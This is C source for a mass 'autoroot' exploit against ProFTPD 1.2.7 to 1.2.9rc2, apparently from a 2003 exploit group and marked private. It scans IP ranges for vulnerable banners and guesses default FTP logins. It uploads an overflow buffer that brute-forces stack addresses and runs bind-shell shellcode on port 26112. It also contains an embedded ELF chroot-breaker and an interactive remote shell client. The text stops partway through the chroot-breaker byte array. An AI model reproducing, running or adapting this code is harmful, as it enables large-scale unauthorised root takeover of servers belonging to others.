proftpd_put_down3~m00.c

/* proftpd_put_down3~m00.c
 *
 *     ProFTPD 1.2.7 - 1.2.9rc2 mass autoroot exploit v2.0
 *                  by m00 Security // m00.void.ru
 *
 *                      F I N A L   E D I T I O N
 *
 *  Zero-day version of proftpd_put_down.c by Haggis
 *
 *  History:
 *     - ISS X-Force posted information about "ProFTPD
 *      ASCII File Remote Compromise Vulnerability" [24/9/2003]
 *     - ProFTPd remote root exploit by bkbll [7/10/2003]
 *     - More powerful proftpd_put_down.c by Haggis [14/10/2003]
 *     - mass proftd_put_down2~m00.c exploit by m00 Security
 *       [01/11/2003]
 *     - final release of proftp_put_down2~m00.c that includes:
 *       mass scanner
 *       ftp password guessing
 *       slackware9.0 target
 *       netric shellcode (coz Haggis's didnt work on slack)
 *       cleaned up some shit
 *       .. and now IT FUKING WORKS ;] w0000t $&#*(@$&
 *  [25/11/2003]
 *
 *  Added:
 *     - ip-range scanner with banner grabber
 *     - Slackware9.0 target
 *     - portbind shellcode from netric
 *     - ftp password guessing
 *
 *  Tested on:
 *    - SuSE 8.0, 8.1  stack - 0xbffff2xx
 *    - RedHat 7.2/8.0 stack - 0xbfffe8xx
 *    - Slackware 9.0   stack - 0xbffff6xx
 *    - ASP Linux       stack - 0xbffff9xx
 *
 *  Greetz:
 *      - nerF security team // www.nerf.ru
 *      - Limpid Byte // lbyte.sysdrop.org
 *      - priv8security // www.priv8security.com
 *      - UHAGr // www.uhagr.org
 *      - all ppl from m00sec@EFnet
 *
 *  Authors:
 *       rash [rashray@inbox.ru]
 *       d4rkgr3y [d4rk@securitylab.ru]
 *       over_g [overg@mail.ru]
 *
 *           THIS IS UNPUBLISHED m00 EXPLOIT CODE
 *                 KEEP IT PRIVATE OR DIE BITCH
 */

#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <netdb.h>
#include <string.h>
#include <signal.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

/* dont change anything here */
#define _u32 unsigned int
#define CLSD  0   //CLOSED
#define READY 1   //READY to work
#define CNTG  2   //CONNECTING
/* end */

/* play with it */
#define RH				0xbfffe801
#define SL					0xbffff601
#define SU				0xbffff201
#define AS				0xbffff901
#define STACK_START		0xbfffe104
#define STACK_END			0xbffffa99
/* end */


#define PAUSE 100 //ms to w8 after each loop
#define TIMEOUT 3

#define FTP_PORT			21
#define BINDSHELL_PORT		26112
#define SIZE				1024
#define EXPLOIT_BUF_SIZE	65535
#define FAILURE				-1
#define SUCCESS				0
#define NORMAL_DOWNLOAD		1
#define EXPLOIT_DOWNLOAD	2
#define DOWNLOAD			3
#define UPLOAD				4
#define ACCEPT_TIMEOUT		5
#define SLEEP_DELAY			19999999


char shellcode[] =
	// we have changed bindshell shellcode to this one cuz
	// Haggis's doesnt work correctly :\
	"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50"
	"\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50"
	"\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66"
	"\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
	"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
	"\x0b\xcd\x80";

typedef struct  {
	int s;
	_u32 state;
	_u32 addr;
	_u32 tmst;
} s_struct;

static  s_struct *s;
static _u32 count;
static _u32 run = 0;
static _u32 i,j,k;
static long on = 1;
static long off = 0;

char recvBuf[0x64];
int attemptNumberZzz = 0;
int bfcount;
int dontExp = 0;
int dontConnectToShell = 0;
int naive = 0;
int ok = 0;
int defaultAcc = 1;
int verbose = 0;
int sleepMode = 0;
int controlSock, passiveSock;
int currentPassivePort=32769;
int currentServerPort=31337;
int exploitBufLen;
int attemptNumber=0;
int ftpPort=FTP_PORT;
_u32 stackWriteAddr, retAddr;
_u32 stackStartAddr=STACK_START;
_u32 stackSavedStartAddr;
char serverBuf[SIZE];
char exploitBuf[EXPLOIT_BUF_SIZE];
char uploadPath[SIZE]="incoming";
char filename[SIZE*2];
char *server=NULL;
char *user;
char *pass;
char *localIP=NULL;
char errorBuf[SIZE];

int connect_to_server(int port);
int login_to_server();
int set_passive_mode(int mode);
int set_ascii_mode();
int set_path_and_filename();
int check_for_linefeed();
int check_status();
int create_passive_server();
int create_exploit_buffer();
int upload_file();
int download_file(int mode);
void usage(char *s);
int do_remote_shell(int shellSock);
void status_bar(char *info);
int timeout_accept(int s, struct sockaddr *sa, int *f);
void my_send(int s, char *b, ...);
void my_recv(int s);
void my_sleep(int n);
int doris_chroot_breaker();
void surprise();
void flush_this_shit();

int main(int argc,char **argv)
{
	struct in_addr inaddr;
	struct sockaddr_in dst;
	struct timeval tv = {0,0};

	_u32 stackStartAddr=STACK_START;
	_u32 start; // start ip
	_u32 end; // end ip
	_u32 left;
	_u32 timeout;
	_u32 pause;
	_u32 ex;
	_u32 any;
	_u32 *con; // IPs of alive ftp daemons
	_u32 index; // count of sucessfully connections
	_u32 vuln; // count of vulnerable ftp daemons

	char **bfuser;
	char **bfpasswd;
	char c;

	fd_set  fdset;

	signal(SIGPIPE, SIG_IGN); // "broken pipe" ignoring
	signal(SIGQUIT, &surprise); // catching CTRL+C (2) and
	signal(SIGINT, &surprise); // quit-signal (0) to kill all opened sockets

	pause = PAUSE;
	timeout = TIMEOUT;

	/* allocating memory for 3 users and 3 passwords */
	bfuser = (char **)malloc(0x03);
	bfpasswd = (char **)malloc(0x03);
	bfuser[0] = (char *)malloc(9);
	bfuser[0] = "anonymous";
	bfpasswd[0] = (char *)malloc(15);
	bfpasswd[0] = "ftp@m00.void.ru";
	bfuser[1] = (char *)malloc(3);
	bfuser[1] = "ftp";
	bfpasswd[1] = (char *)malloc(3);
	bfpasswd[1] = "ftp";
	bfuser[2] = (char *)malloc(5);
	bfuser[2] = "guest";
	bfpasswd[2] = (char *)malloc(5);
	bfpasswd[2] = "guest";
	/* xxx: :| */

	printf("\n@----------------------------------------------@\n");
	printf(" ProFTPD 1.2.7 - 1.2.9rc2 remote r00t exploit\n");
	printf("    by Haggis (haggis@haggis.kicks-ass.net)\n\n");
	printf("                  m00 EDITION\n\n");
	printf("         PRIVATE!!! DO NOT DISTRIBUTE!!!\n");
	printf("@----------------------------------------------@\n\n");

	if(argc<2) usage(argv[0]);
	while((c = getopt(argc, argv, "vc:nt:u:p:l:mU:s:e:P:S:T:"))!= EOF) {
		switch (c) {
			case 'v':
				verbose=1;
				break;
			case 'c':
				count=atoi(optarg);
				break;
			case 'n':
				naive = 1;
				break;
			case 't':
				timeout=atoi(optarg);
				break;
			case 'u':
				user=optarg;
				defaultAcc = 0;
				break;
			case 'p':
				pass=optarg;
				break;
			case 'l':
				localIP=optarg;
				break;
			case 's':
				start = inet_addr(optarg);
				break;
			case 'e':
				end = inet_addr(optarg);
				break;
			case 'm':
				dontConnectToShell = 1;
				break;
			case 'U':
				strncpy(uploadPath,optarg,SIZE);
				break;
			case 'P':
				ftpPort=atoi(optarg);
				break;
			case 'S':
				stackStartAddr=strtoul(optarg, NULL, 16);
				break;
			case 'T':
				if(atoi(optarg) == 0) stackStartAddr=RH;
				if(atoi(optarg) == 1) stackStartAddr=SL;
				if(atoi(optarg) == 2) stackStartAddr=SU;
				if(atoi(optarg) == 3) stackStartAddr=AS;
				break;
			default:
				usage(argv[0]);
				return 1;
		}
	}

	if(localIP==NULL) {
		usage(argv[0]);
	}
	if(start == -1) {
		printf("[-] Bad <start_ip>. Exiting..\n");
	return 1;
	}
	if(end == -1) {
		printf("[-] Bad <end_ip>. Exiting.. \n");
	return 1;
	}
	if(count == 0) count = 30;

	/* MAD FAST IP-RANGE SCANNER WITH NON-BLOCK SOCKETS + BANNER GRABBER */

	s = (s_struct *)malloc(count*sizeof(s_struct));
	memset(s,0,count*sizeof(s_struct));

	FD_ZERO(&fdset);
	ex = 0;
	left = htonl(end)-htonl(start)+1;
	con = (_u32 *) malloc(left*sizeof(_u32));
	memset(con,0,left*sizeof(_u32));

	index = 0;
	vuln = 0;
	stackSavedStartAddr = stackStartAddr;
	memset(&dst,0,sizeof(dst));
	dst.sin_addr.s_addr = start;
	dst.sin_port = htons(ftpPort);
	dst.sin_family = AF_INET;
	run = 1;
	usleep(10);

	while(!ex) {
		for(i=0;(i<count) && left;i++) {
			if(s[i].state == CLSD)   {
				s[i].s = socket(AF_INET,SOCK_STREAM,0);
				if(s[i].s > 0) {
					fcntl(s[i].s,F_SETFL,O_NONBLOCK);
					s[i].state = READY;
					flush_this_shit();
				}
			}

			if(s[i].state == READY){
				connect(s[i].s,(struct sockaddr*)&dst,sizeof(dst));
				s[i].state = CNTG;
				s[i].addr = dst.sin_addr.s_addr;
				s[i].tmst = time(NULL);
				dst.sin_addr.s_addr=htonl(ntohl(dst.sin_addr.s_addr)+1);
				left--;
			}
		}

		FD_ZERO(&fdset);
		for(i=0;i<count;i++)
			if(s[i].state == CNTG)
				FD_SET(s[i].s,&fdset);
				select(FD_SETSIZE,NULL,&fdset,NULL,&tv);
				for(i=0;i<count;i++) {
					if(FD_ISSET(s[i].s,&fdset))  {
						fcntl(s[i].s,F_SETFL,O_RDWR);
						// if it's possible to send something => tcp connection established.
						if (!(send(s[i].s, "!", 2 , 0)<0)){
							inaddr.s_addr = s[i].addr;
							recv(s[i].s,recvBuf,0x64,0);
							if(verbose) printf("[+] Connected to [%s:%d]:\n=> %s\n",inet_ntoa(inaddr),ftpPort,recvBuf);
							// vulnerable proftpd versions (without "rc*" shit). I forgot something?
							if(strstr(recvBuf,"ProFTPD") && (strstr(recvBuf,"1.2.7") || strstr(recvBuf,"1.2.8") || strstr(recvBuf,"1.2.9"))) {
								*(_u32 *) (con+vuln*sizeof(_u32)) = s[i].addr;
								vuln++;
							}
							index++;
						}
						close(s[i].s);
						s[i].state = CLSD;
					}
				}

			FD_ZERO(&fdset);
			for(i=0;i<count;i++) {
				if(s[i].state == CNTG) {
					if((time(NULL)-s[i].tmst)>timeout)    {
						fcntl(s[i].s,F_SETFL,O_RDWR);
						close(s[i].s);
						s[i].state = CLSD;
						inaddr.s_addr = s[i].addr;
					} else FD_SET(s[i].s,&fdset);
				}
			}

			select(FD_SETSIZE,NULL,NULL,&fdset,&tv);
			for(i=0;i<count;i++) {
				if(FD_ISSET(s[i].s,&fdset)) {
					fcntl(s[i].s,F_SETFL,O_RDWR);
					close(s[i].s);
					s[i].state = CLSD;
					inaddr.s_addr = s[i].addr;
				}
			}
			if (!left) {
				any=0;
				for (i=0;i<count;i++) {
					if (s[i].state != CLSD)  any=1;
						if (!any) ex = 1;
				}
			}
		usleep(pause*1000);
	} // while(!ex)

	/* E N D */

	if(naive) vuln = index; // if naive mode turned ON (-n)
	printf("[+] Scanning complete\n[~] [%i] ftp daemons found\n[~] [%i] are vulnerable\n",index,vuln);
	if(!vuln) {
		printf("[-] Nothing to exploit. Exiting...\n");
		return 1;
	}
	/*
	for (i=0;i<vuln;i++){
		inaddr.s_addr = *(_u32 *)(con+i*sizeof(_u32));
		printf("[%s:%d]\n",inet_ntoa(inaddr), ftpPort);
	}
	*/
	for (i=0;i<vuln;i++){
		/* cleaning some shit after last attempt */
		stackStartAddr = stackSavedStartAddr;
		attemptNumber = 0;
		/* ok */
		inaddr.s_addr = *(_u32 *)(con+i*sizeof(_u32));
		printf("\n[~] Attempting to exploit [%s:%d]\n",inet_ntoa(inaddr), ftpPort);
		server = inet_ntoa(inaddr);

		/* SIMPLE FTP PASSWORD BRUTEFORCER */

		if(defaultAcc) {
		/*
			user = "anonymous";
			pass = "ftp@m00.void.ru";
		*/

			printf("[~] Trying to guess FTP server login/password\n");
			dontExp = 1;
			bfcount = 2;
			for(k=0;k<=bfcount;k++) {
				user = bfuser[k];
				pass = bfpasswd[k];
				printf("=> User: %s    	| Pass: %s 	| Result: ",user,pass);
				if((controlSock=connect_to_server(ftpPort))==FAILURE) {
					perror("\n[-] Connection problems");
					goto m00;
				}
				if(login_to_server()!=FAILURE) {
					printf("access granded\n");
					k=4;
				} else printf("access denied\n");
				close(controlSock);
			}
			if(k==3) {
				printf("[-] We have no access to [%s:%d] ftpd. Try to get it manualy\n",inet_ntoa(inaddr), ftpPort);
				goto err;
			}
			dontExp = 0;
		}

		doris_chroot_breaker();
		for(stackWriteAddr=stackStartAddr; stackWriteAddr<STACK_END; stackWriteAddr+=4, attemptNumber++) {
			if(check_for_linefeed()==FAILURE) {
				continue;
			}
			retAddr=stackWriteAddr+200; // good enough for show business

			if((controlSock=connect_to_server(ftpPort))==FAILURE) {
				perror("\n\n[-] Failing to connect to remote host\n");
				goto m00;
			}

			if(login_to_server()==FAILURE) {
				close(controlSock);
				printf("\n[-] Login failed.\n");
				goto m00;
			}

			if(set_passive_mode(UPLOAD)==FAILURE)
				goto err;
			if(set_ascii_mode()==FAILURE)
				goto err;
			if(set_path_and_filename()==FAILURE)
				goto err;

			// create the buffer containing RET for this
			// brute-force iteration
			create_exploit_buffer();

			if(upload_file()==FAILURE) {
			
				printf("\n[-] You have no write access on this ftp daemon (try to find \"upload\" directory manualy)\n");
				goto m00;
			}
			close(controlSock);

			// Connect again, then login, set ASCII mode and download the exploit file.
			// This will trigger the overflow; as a result, we've
			// corrupted the memory pool of this session and when we
			// download the file again, the stack area will be overwritten
			// and we control the saved EIP.

			if((controlSock=connect_to_server(ftpPort))<0) {
				perror("\n[-] Failed to connect to remote host\n");
				goto m00;
			}
		
			login_to_server(user,pass);
			set_path_and_filename();
			if(set_ascii_mode()==FAILURE)
				goto err;
			if(set_passive_mode(DOWNLOAD)==FAILURE)
				goto err;
			if(sleepMode)
				sleep(10);
			if(download_file(NORMAL_DOWNLOAD)==FAILURE)
				goto err;

		// Finally, read the file again. This will trigger the stack
		// overwrite (NOT the overflow, that happened earlier). We could
		// control EIP at this point and r00t may be only heartbeat away...

			if(set_passive_mode(DOWNLOAD)==FAILURE)
				goto err;
			if(download_file(EXPLOIT_DOWNLOAD)==FAILURE)
				goto err;
		err:
			close(controlSock);
		}
		m00:
		// This is only reached if the bruteforce fails.
		// delete the exploit files here
		printf("[-] Exploitation failure.\n");
	}
}

void status_bar(char *info) {
	printf("[ %20s ]-[ Stack: 0x%08x ]-[ RET: 0x%08x ]\r",info, stackWriteAddr,retAddr);
	fflush(stdout);
}

void flush_this_shit() {
	attemptNumberZzz++;
	printf("[~] Scanning ip-range: %i\r",attemptNumberZzz);
	fflush(stdout);
}

int set_path_and_filename()
{
	status_bar("Setting filename");
	if(strcmp(uploadPath,"")) {
		my_send(controlSock, "CWD %s\r\n",uploadPath);
		my_recv(controlSock);
	}
	snprintf(filename,SIZE,"proft_put_down-%d-%d.txt",getpid(),attemptNumber);
	return SUCCESS;
}

int download_file(int mode)
{
	int len, localServerSock, dataSock, bindShellSock;
	struct sockaddr_in localServer;

	status_bar("Downloading");
	// Ask the victim server to send us the exploit file
	my_send(controlSock, "RETR %s\r\n", filename);

	// Create a listening server on our passive port to
	// receive the data
	memset(&localServer,0,sizeof(localServer));
	localServerSock=create_passive_server();
	len=sizeof(localServer);

	// Wait for a few seconds for the victim server to contact us...
	if((dataSock=timeout_accept(localServerSock,(struct sockaddr *)&localServer,&len))<0) {
		close(localServerSock);
		return FAILURE;
	}

	// If the mode is EXPLOIT_DOWNLOAD, then this is the
	// second attempt at downloading... that means we might
	// have a shell waiting for us on the victim server, so
	// we try to connect to it
	if(mode==EXPLOIT_DOWNLOAD) {
		if((bindShellSock=connect_to_server(BINDSHELL_PORT))>=0) {
			printf("\n[+] Shell spawned on port 26112! w00t!\n");
			if(!dontConnectToShell) {  // "-m" option
				 my_send(bindShellSock,"uname -a;id;\n",13);
				 do_remote_shell(bindShellSock);
			}
			return 1;
		}
		close(dataSock);
		close(localServerSock);
		return SUCCESS;
	}
	// If the mode is NORMAL_DOWNLOAD, then just clean up the
	// connection by receiving the file from the server; closing
	// the data and local server sockets, then read the confirmation
	// message from the control socket
	my_recv(dataSock);
	close(dataSock);
	close(localServerSock);
	my_recv(controlSock);
	return check_status();
}

int timeout_accept(int s, struct sockaddr *sa, int *f)
{
	fd_set fdset;
	struct timeval timeout = { ACCEPT_TIMEOUT, 0 }; // seconds
	int result;

	if(s<=0)
		return FAILURE;
	FD_ZERO(&fdset);
	FD_SET(s, &fdset);
	
	if((result=select(s+1, &fdset, 0, 0, &timeout))==0)
		return FAILURE;
	return accept(s,sa,f);
}

int set_passive_mode(int mode)
{
	int portMSB, portLSB;
	int x1,x2,x3,x4;
	char *ptr=localIP, *start;

	status_bar("Setting passive");
	if(mode==DOWNLOAD) {
		if((++currentPassivePort) > 35000)
			currentPassivePort=32789;
	
		while(*(++ptr))
			if(*ptr=='.')
				*ptr=',';
		portMSB=(currentPassivePort >> 8 ) & 0xff;
		portLSB=currentPassivePort & 0xff;
		my_send(controlSock, "PORT %s,%d,%d\r\n", localIP, portMSB, portLSB);
		my_recv(controlSock);
		return check_status();
	} else {	
		my_send(controlSock, "PASV\r\n");
		my_recv(controlSock);
		if(check_status()==FAILURE)
			return FAILURE;
		ptr=serverBuf;
		while(*ptr && *ptr!='(')
			ptr++;
		if(*ptr=='\0')
			return FAILURE;
		start=ptr+1;
		while(*ptr && *ptr!=')')
			ptr++;
		*ptr=0;
		sscanf(start, "%d,%d,%d,%d,%d,%d",&x1, &x2, &x3, &x4, &portMSB, &portLSB);
		currentServerPort=(portMSB << 8) | portLSB;
	}
	return SUCCESS; 
}

int connect_to_server(int port)
{
	struct sockaddr_in serverAddr;
	struct hostent *host;
	int sock, tmp=1;

	if(!dontExp) status_bar("Connecting");
	if((host=gethostbyname(server))==NULL)
		return FAILURE;

	if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
		return FAILURE;
	bzero(&serverAddr,sizeof(struct sockaddr));
	serverAddr.sin_family=AF_INET;
	serverAddr.sin_port=htons(port);
	serverAddr.sin_addr=*((struct in_addr *)host->h_addr);
	setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&tmp, sizeof(tmp));
	if(connect(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
		close(sock);
		return FAILURE;
	}
	return sock;
}

int check_status()
{
	if(isdigit(serverBuf[0]) && serverBuf[0]!='5')
		return SUCCESS;
	else
		return FAILURE;
}

int login_to_server()
{
	if(!dontExp) status_bar("Logging in");
	my_recv(controlSock);
	my_send(controlSock, "USER %s\r\n", user);
	my_recv(controlSock);
	if(check_status()==FAILURE)
		return FAILURE;

	my_send(controlSock, "PASS %s\r\n", pass);	
	my_recv(controlSock);
	return check_status();
}

int set_ascii_mode()
{
	status_bar("Setting ASCII mode");
	my_send(controlSock, "TYPE A\r\n");
	my_recv(controlSock);
	return check_status();
}


int upload_file()
{
	int dataSock;

	status_bar("Uploading file");

	// open up the data channel
	if((dataSock=connect_to_server(currentServerPort))==FAILURE)
		return FAILURE;

	// tell server we're gonna send some shiznitz
	my_send(controlSock, "STOR %s\r\n", filename);
	my_recv(controlSock);
	if(check_status()==FAILURE) {
		close(dataSock);
		return FAILURE;
	}

	// send the exploit file to the victim server
	send(dataSock, exploitBuf, exploitBufLen, 0);
	close(dataSock);

	// make sure all went well
	my_recv(controlSock);
	if(check_status()==FAILURE)
		return FAILURE;
	return SUCCESS;
}

int create_exploit_buffer()
{
	int i;
	char buf[41];
	unsigned int writeaddr=stackWriteAddr;
	unsigned int *ptr=(unsigned int *)(exploitBuf+3);
	unsigned int dummy=0x11111111;
	FILE *fp;

	status_bar("Make exploit buf");
	exploitBufLen=1024;
	memset(exploitBuf,0,EXPLOIT_BUF_SIZE);
	memset(exploitBuf,0x90,512);
	*(ptr++)=writeaddr+28;
	for(i=0;i<6;i++)
		*(ptr++)=retAddr;
	*(ptr++)=0;
	for(i=0;i<2;i++)
		*(ptr++)=retAddr;

	memcpy(exploitBuf+512-strlen(shellcode)-1,shellcode,strlen(shellcode));
	memset(exploitBuf+512,'\n',512);

	for(i=0;i<96;i++) {
		memset(buf,0,41);
		if(dummy==0x1111112e)
			// this sets session.d->outstrm to NULL which forces an early return
			// avoids crashing proftpd... on SuSE 8.0 anywayz...
			memcpy(buf,"\n\n\n\n\n\n\n\n\x00\x00\x00\x00\n\n\n\n\n\n\n\n",20);
		else if(dummy==0x11111166)
			// this is the same thing tailored for RH7.2
			memcpy(buf,"\n\n\n\n\n\n\n\n\x72\x00\x00\x00\x00\n\n\n\n\n\n\n",20);
		else
			memset(buf,'\n',20);

		// i used these dummy values to find the correct spot for
		// the session.d->outstrm pointer
		*(unsigned int *)(buf+20)=dummy;
		*(unsigned int *)(buf+24)=dummy;
		*(unsigned int *)(buf+28)=dummy;

		// this will become the address of an available chunk of memory
		// that is returned by new_block() in pool.c
		*(unsigned int *)(buf+32)=writeaddr;

		// this is what will be returned by palloc() in pool.c
		// palloc() is the function that calls new_block() and
		// provides the allocation interface for the pools system.
		*(unsigned int *)(buf+36)=writeaddr;

		memcpy(exploitBuf+exploitBufLen,buf,40);
		exploitBufLen+=40;
		dummy++;
	}
	return SUCCESS;
}


int create_passive_server()
{
	struct sockaddr_in serverAddr;
	int on=1,sock;

	status_bar("Creating server");
	sock=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	memset(&serverAddr,0,sizeof(struct sockaddr_in));
	serverAddr.sin_port=htons(currentPassivePort);
	serverAddr.sin_family=AF_INET;
	serverAddr.sin_addr.s_addr=htonl(INADDR_ANY);
	setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on));
	if(bind(sock,(struct sockaddr *)&serverAddr,sizeof(struct sockaddr))<0) {
		close(sock);
		return FAILURE;
	}
	if(listen(sock,5)<0) {
		close(sock);
		return FAILURE;
	}
	return sock;
}

void usage(char *exploitName)
{
	printf("Usage: %s -s <start ip> -e <end ip> [options]\n",exploitName);
	printf("Important arguments:\n");
	printf("      -l <local ip address> interface to bind to\n");
	printf("      -U <path> - specify upload path [%s]\n",uploadPath);
	printf("      -c <count> - count of connections for ip-range scan [30]\n");
	printf("      -t <seconds> - timeout for each connection [3]\n");
	printf("      -u <username>\n");
	printf("      -p <password>\n");
	printf("      Dont use \"-u\" and \"-p\" options if u dont know login/password.\n");
	printf("      Exploit will try to guess it.\nOther (bonus) arguments:\n");
	printf("      -P <port> - port to scan [21]\n");
	printf("      -S <address> - start at <address> when bruteforcing [0x%x]\n",STACK_START);
	printf("      -T # - target (dont use it if u dont know)\n");
	printf("         0 - RedHat 7.3, 8.0 [0x%x]\n",RH);
	printf("         1 - Slackware 9.0   [0x%x]\n",SL);
	printf("         2 - SuSe 8.0, 8.1   [0x%x]\n",SU);
	printf("         3 - ASP Linux 9.0   [0x%x]\n",AS);
	printf("      -n - don't beleave FTP banner (try to exploit every ftpd) - hmm..\n");
	printf("      -v - be more verbose\n\n");


	exit(0);
}


int do_remote_shell(int shellSock)
{
	fd_set rfds;
	char buf[1024];
	int retval, r=1;

        do {
                FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(shellSock, &rfds);
                retval=select(shellSock+1, &rfds, NULL, NULL, NULL);
                if(retval) {
                        if(FD_ISSET(shellSock, &rfds)) {
                                buf[(r=recv(shellSock, buf, sizeof(buf)-1,0))]='\0'; // lol
                                printf("%s", buf);fflush(stdout);
                        }
                        if(FD_ISSET(0, &rfds)) {
                                buf[(r=read(0, buf, sizeof(buf)-1))]='\0'; // lmfao
                                send(shellSock, buf, strlen(buf), 0);
                        }
                }
        } while(retval && r); // loop until connection terminates
	return SUCCESS;
}


int check_for_linefeed()
{
	char *ptr=(char *)&stackWriteAddr;
	int i=4;

	for(;i;i--)
		if(*(ptr++)=='\n')
			return FAILURE;
	return SUCCESS;
}

// Handy little function to send formattable data down a socket.
void my_send(int s, char *b, ...) {
	va_list ap;
	char *buf;

	my_sleep(SLEEP_DELAY);
	va_start(ap,b);
	vasprintf(&buf,b,ap);
	send(s,buf,strlen(buf),0);
	va_end(ap);
	free(buf);
}

// Another handy function to read data from a socket.
void my_recv(int s) {
	int len;

	my_sleep(SLEEP_DELAY);
	memset(serverBuf, 0, SIZE);
	len=recv(s, serverBuf, SIZE-1, 0);
	serverBuf[len]=0;
}

int doris_chroot_breaker() {
	char haggis_magic_buffer[]=
	"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x02\x00\x03\x00\x01\x00\x00\x00\x80\x80\x04\x08\x34\x00\x00\x00"
	"\xa0\x01\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x02\x00\x28\x00"
	"\x09\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
	"\x00\x80\x04\x08\x20\x01\x00\x00\x20\x01\x00\x00\x05\x00\x00\x00"
	"\x00\x10\x00\x00\x01\x00\x00\x00\x20\x01\x00\x00\x20\x91\x04\x08"
	"\x20\x91\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00"
	"\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x55\x89\xe5\x83\xec\x6c\x57\x56\x53\x8d\x45\xa0\x8d\x7d\xa0\xbe"
	"\xc0\x80\x04\x08\xfc\xb9\x17\x00\x00\x00\xf3\xa5\x66\xa5\xa4\x8d"
	"\x45\xa0\x89\x45\x9c\x8b\x5d\x9c\xff\xd3\x8d\x65\x88\x5b\x5e\x5f"
	"\x89\xec\x5d\xc3\x8d\xb6\x00\x00\x00\x00\x8d\xbf\x00\x00\x00\x00"
	"\x31\xc0\x31\xdb\x40\x50\x89\xe1\x66\xbb\x73\x68\x53\x89\xe3\xb0"
	"\x27\xcd\x80\x31\xc0\x89\xe3\xb0\x3d\xcd\x80\x31\xc9\xb1\x0a\x31"
	"\xc0\x31\xdb\x66\xbb\x2e\x2e\x53\x89\xe3\xb0\x0c\xcd\x80\x49\x85"
	"\xc9\x75\xec\x31\xc0\x31\xdb\xb3\x2e\x53\x89\xe3\xb0\x3d\xcd\x80"
	"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
	"\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x00\x00"
	"\x00\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x32\x2e\x39\x35"
	"\x2e\x33\x20\x32\x30\x30\x31\x30\x33\x31\x35\x20\x28\x53\x75\x53"
	"\x45\x29\x00\x08\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x30"
	"\x31\x2e\x30\x31\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00"
	"\x2e\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61"
	"\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00"
	"\x2e\x64\x61\x74\x61\x00\x2e\x73\x62\x73\x73\x00\x2e\x62\x73\x73"
	"\x00\x2e\x63\x6f\x6d\x6d\x65\x6e\x74\x00\x2e\x6e\x6f\x74\x65\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00"
	"\x06\x00\x00\x00\x80\x80\x04\x08\x80\x00\x00\x00\x40\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00"
	"\x21\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\xc0\x80\x04\x08"
	"\xc0\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x20\x00\x00\x00\x00\x00\x00\x00\x29\x00\x00\x00\x01\x00\x00\x00"
	"\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
	"\x2f\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x20\x91\x04\x08"
	"\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x01\x00\x00\x00\x00\x00\x00\x00\x35\x00\x00\x00\x08\x00\x00\x00"
	"\x03\x00\x00\x00\x20\x91\x04\x08\x20\x01\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
	"\x3a\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x20\x01\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x01\x00\x00\x00\x00\x00\x00\x00\x43\x00\x00\x00\x07\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x43\x01\x00\x00\x14\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
	"\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x57\x01\x00\x00\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
